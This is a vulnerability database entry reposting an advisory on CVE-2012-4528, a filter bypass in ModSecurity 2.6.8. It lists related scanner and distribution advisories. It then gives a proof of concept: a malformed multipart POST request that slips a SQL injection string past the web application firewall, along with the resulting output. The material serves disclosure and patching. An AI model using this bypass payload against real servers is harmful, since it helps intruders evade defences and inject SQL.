ModSecurity - 'POST' Security Bypass
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
 | ModSecurity < 2.7.0 Multipart Request Parsing Filter Bypass | 16 Aug 201300:00 | – | nessus |
| Fedora 18 : mod_security-2.7.1-3.fc18 / mod_security_crs-2.2.6-3.fc18 (2012-18278) | 26 Nov 201200:00 | – | nessus |
| Fedora 17 : mod_security-2.7.1-3.fc17 / mod_security_crs-2.2.6-3.fc17 (2012-18315) | 3 Dec 201200:00 | – | nessus |
| Mandriva Linux Security Advisory : apache-mod_security (MDVSA-2012:182) | 24 Dec 201200:00 | – | nessus |
| Mandriva Linux Security Advisory : apache-mod_security (MDVSA-2013:029) | 20 Apr 201300:00 | – | nessus |
| ModSecurity < 2.7.0 Multipart Request Parsing Filter Bypass | 2 Jul 201300:00 | – | nessus |
| openSUSE Security Update : apache2-mod_security2 (openSUSE-SU-2013:1336-1) | 13 Jun 201400:00 | – | nessus |
| openSUSE Security Update : apache2-mod_security2 (openSUSE-SU-2013:1331-1) | 13 Jun 201400:00 | – | nessus |
 | CVE-2012-4528 | 17 Oct 201200:00 | – | circl |
 | CVE-2012-4528 | 28 Dec 201211:00 | – | cve |
10
source: https://www.securityfocus.com/bid/56096/info
ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.
Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks.
ModSecurity 2.6.8 is vulnerable; other versions may also be affected.
Proof of concept:
-----------------
wut.php:
--------
<? echo $POST[xxx] ?>
POST request:
-------------
POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161
--A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
--A
Content-Disposition: form-data; name="yyy"; filename="z"
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
--A--
Output:
-------
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
(any change in the header should produce a 403)dData
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17 Oct 2017 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.12507